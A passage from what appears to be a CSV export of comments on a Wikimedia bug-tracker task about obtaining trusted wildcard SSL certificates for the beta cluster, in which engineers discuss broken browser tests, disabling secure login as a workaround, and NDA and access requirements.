+I think the problem is that no one is quite sure how to do those things. I'm not sure otherwise I would JFDI.",,,1383070340,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+227330,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Secure login is disabled,,,1383070174,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,8,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+227322,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Well, disabling secure login is easy - much better to have a couple of tests failing than not be able to run them at all.",,,1383069987,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,0
+227316,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"If MobileFrontend doesn't work without HTTPS it's broken. That's a different bug, though.
+
+Anyway, this isn't blocked on ops. In comment 46 I listed the steps that need to be taken, and they can be taken by anyone that has projectadmin in deployment-prep. Someone needs to take ownership of this situation and run with it. It will take us a matter of days to get SSL certs and we can start that process now, but until the other steps are taken there's no major point in doing so.",,,1383069913,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0,1,0,1,1,1,0,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+227311,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,This actually makes beta labs unusable for me and the rest of the mobile team. Mobile is dependent on https - it's been like this since login was first introduced. It is not easy to disentangle.,,,1383069706,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+227304,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,No I don't. It currently redirect to HTTPS for me in Safari and fails to load completely in Firefox.,,,1383069532,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+227299,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #54)
+> Although I have no idea why the HTTP version doesn't load.
+
+It does for me, both in browsers and using curl.  Is it possible you have HTTPS Everywhere or something enabled?",,,1383017052,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1
+227294,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Any progress on this? It's been 2 weeks and we still can't do acceptance testing on beta labs.
+
+And no we can't not use https:
+http://en.m.wikipedia.beta.wmflabs.org/wiki/Main_Page
+Although I have no idea why the HTTP version doesn't load.",,,1383006331,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,8,True,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+227291,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
+Should be Real Soon Now: https://bugzilla.wikimedia.org/show_bug.cgi?id=55804",,,1381967050,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+227288,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #51)
+> I guess the first part of my comment is redundant with what you already know.
+> Mostly, I wanted to convey that our automation testing is broken, in case
+> that
+> affects prioritizing.
+
+Is it possible for now to not use https? That's what other projects have done for now to workaround the issue.",,,1381966770,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,1
+227283,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I guess the first part of my comment is redundant with what you already know. Mostly, I wanted to convey that our automation testing is broken, in case that affects prioritizing.",,,1381966629,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+227279,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #49)
+> Currently getting a cert warning when trying to go to:
+> https://deployment.wikimedia.beta.wmflabs.org/
+> This is breaking our automation tests for mobile.
+
+Heh. Did you read the ticket any before posting this? :)",,,1381966170,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,7,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+227277,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Currently getting a cert warning when trying to go to:
+https://deployment.wikimedia.beta.wmflabs.org/
+This is breaking our automation tests for mobile.",,,1381965216,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+227274,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,It's going to be an all-inclusive * cert for beta.,,,1381438407,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,6,True,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+227269,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,please don't forget about wikidata.beta.wmflabs.org,,,1381437836,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1
+227264,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Summary of IRC conversation:
+
+1. Remove projectadmin permissions from volunteers
+2. Clean up sudo policies to disallow root on varnish systems (that will have real certs)
+3. Buy * certs
+
+Any volunteer that would like to have projectadmin in the project or root on the varnish systems will need an NDA.",,,1381437765,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,6,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1
+227260,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 87045 merged by jenkins-bot:
+Labs: Turn off secure login on loginwiki due to untrusted SSL
+
+https://gerrit.wikimedia.org/r/87045",,,1381250687,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+227254,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #42)
+> (In reply to comment #40)
+> 
+> > I'm still not opposed to getting a proper cert, but that requires some
+> > infrastructure and permissions changes in deployment-prep...
+> 
+> Since we've been going around on this since May, what would be the next step
+> to
+> make that happen?
+
+Maybe create another project with limited access and move the ssl terminators there. You should realize that other than advising I'm not really doing anything in beta...",,,1380729147,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1
+227248,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #41)
+> (In reply to comment #29)
+> > There's also the option which had been discussed before: make a new labs
+> > project whose sole purpose would be to do SSL termination and would then
+> > relay
+> > to varnish.
+> > 
+> > Then *that* project would have the NDA req instead of the core beta project.
+> 
+> That's the dynamichttp proxy, which has been running silently for a while now
+> :)
+
+They want to have the same https infrastructure as production, which makes sense ;)",,,1380729060,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+227242,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #40)
+
+> I'm still not opposed to getting a proper cert, but that requires some
+> infrastructure and permissions changes in deployment-prep...
+
+Since we've been going around on this since May, what would be the next step to make that happen?",,,1380728062,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+227237,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #29)
+> There's also the option which had been discussed before: make a new labs
+> project whose sole purpose would be to do SSL termination and would then
+> relay
+> to varnish.
+> 
+> Then *that* project would have the NDA req instead of the core beta project.
+
+That's the dynamichttp proxy, which has been running silently for a while now :)",,,1380727770,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,5,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+227230,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Has anyone considered creating a CA (http://pages.cs.wisc.edu/~zmiller/ca-howto/), generating a * cert, and adding that certificate to the browser's trust? Is that a possibility using the selenium service we're using?
+
+I'm still not opposed to getting a proper cert, but that requires some infrastructure and permissions changes in deployment-prep...",,,1380727437,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0
+227222,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #33)
+> But I can't find prefershttps in Preferences to turn that off.
+
+So it turns out it only displays if wgSecureLogin is on, but it defaults true either way.  The gotcha is that it wasn't not on for Labs, *except* loginwiki.  However, loginwiki is not taken into account by the Preferences logic.  
+
+I believe the above should workaround that by disabling wgSecureLogin on loginwiki as well.  However, I haven't tested it, since I don't have a realistic CentralAuth environment.
+
+This is just intended to be temporary until there's an SSL setup on Beta that is trusted out-of-the-box by browsers.",,,1380704544,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+227213,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 87045 had a related patch set uploaded by Mattflaschen:
+Labs: Turn off secure login on loginwiki due to untrusted SSL
+
+https://gerrit.wikimedia.org/r/87045",,,1380704074,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+227207,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Calm down, what we need is to use the 'Labs CA' certificate authority to generate all the certificates we need, then add that authority as a trusted one in the browsers.
+
+I would do it myself if I had access to the 'Labs CA'.",,,1380701912,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,5,True,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0
+227200,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #35)
+> (In reply to comment #33)
+> > (In reply to comment #32)
+> > > (In reply to comment #19)
+> > > > For those playing along at home: The Beta Cluster currently does not have
+> > > > https by default turned on for this very reason (it broke browser tests).
+> > > 
+> > > This is no longer the case.
+> > 
+> > Correction: it's enabled by default, but only for logged in users.
+> > 
+> > But I can't find prefershttps in Preferences to turn that off.
+> 
+> This means, for instance, that VisualEditor is entirely untestable on Beta
+> Labs. Yay fun. :-(
+
+That is not true, VisualEditor works just fine on beta labs, we found Bug 54791 on beta labs with an automated browser test just this week.  Beta labs is as healthy as it has ever been, and it is running the master branch with database updates all maintained automatically.  Varnish on beta is configured properly, and is working well. 
+
+What does not work on beta labs without a real SSL cert are: 
+
+* tests for IE10 are busted : https://saucelabs.com/jobs/a29bcd975ac6483195b3bd56a64fec6a
+
+* having to visit https://bits.beta.wmflabs.org manually over and over again to get styling to work in every browser is a drag",,,1380665184,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,4,True,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+227193,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #33)
+> (In reply to comment #32)
+> > (In reply to comment #19)
+> > > For those playing along at home: The Beta Cluster currently does not have
+> > > https by default turned on for this very reason (it broke browser tests).
+> > 
+> > This is no longer the case.
+> 
+> Correction: it's enabled by default, but only for logged in users.
+> 
+> But I can't find prefershttps in Preferences to turn that off.
+
+This means, for instance, that VisualEditor is entirely untestable on Beta Labs. Yay fun. :-(",,,1380657576,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,4,True,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1
+227189,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
+Yes. Using beta continues to be a hassle, and in the near future the SSL issue is going to be a big problem.",,,1380641833,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+227184,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #32)
+> (In reply to comment #19)
+> > For those playing along at home: The Beta Cluster currently does not have
+> > https by default turned on for this very reason (it broke browser tests).
+> 
+> This is no longer the case.
+
+Correction: it's enabled by default, but only for logged in users.
+
+But I can't find prefershttps in Preferences to turn that off.",,,1380587930,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,4,True,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,1
+227179,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #19)
+> For those playing along at home: The Beta Cluster currently does not have
+> https by default turned on for this very reason (it broke browser tests).
+
+This is no longer the case.
+
+(In reply to comment #24)
+> Let's deploy SSL either correctly or not-at-all to beta.
+
+Agreed.  I think turning SSL completely off on beta would be better than the current situation.  It's not good for people to get in the habit of ignoring certificate warnings.
+
+Of course, fixing it properly with a valid cert is best.",,,1380587514,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,4,True,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1
+227174,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Bumping this with a note that this affects our ability to run automated tests with IE10 only.  (Demo on request) Other versions of IE seem to be OK with the current situation on labs, but I haven't found a way around IE10's paranoia. 
+
+It would be good to have some sort of solution for this in advance of support for IE10 in VisualEditor.",,,1379432509,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,2,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+227169,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Hm. That isn't a bad idea. If we were to do that, I'd want to move the ssl terminators and the caching layer there, and strip private IP info at that layer. Then we can change beta's privacy policy to that of the projects.",,,1377728033,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+227164,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"There's also the option which had been discussed before: make a new labs project whose sole purpose would be to do SSL termination and would then relay to varnish.
+
+Then *that* project would have the NDA req instead of the core beta project.",,,1377727232,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+227158,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #25)
+> As I've mentioned in the past, I'm totally fine with getting an SSL cert for
+> beta, assuming we ensure every project member in deployment-prep has a signed
+> NDA.
+> 
+> In the future Yuvi's proxy will handle load balancing, HTTPS and such. We'll
+> be
+> able to drop the NDA requirement (and the SSL cert) once we have that.
+
+Not every deployment-prep member is capable of signing an NDA anyway.",,,1377726168,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,0,True,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+227151,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Ah. Indeed. Well, let's treat deployment-prep like tools and require NDAs for all roots...",,,1377725772,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+227143,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #25)
+> In the future Yuvi's proxy will handle load balancing, HTTPS and such.
+> We'll able to drop the NDA requirement (and the SSL cert) once we have that.
+
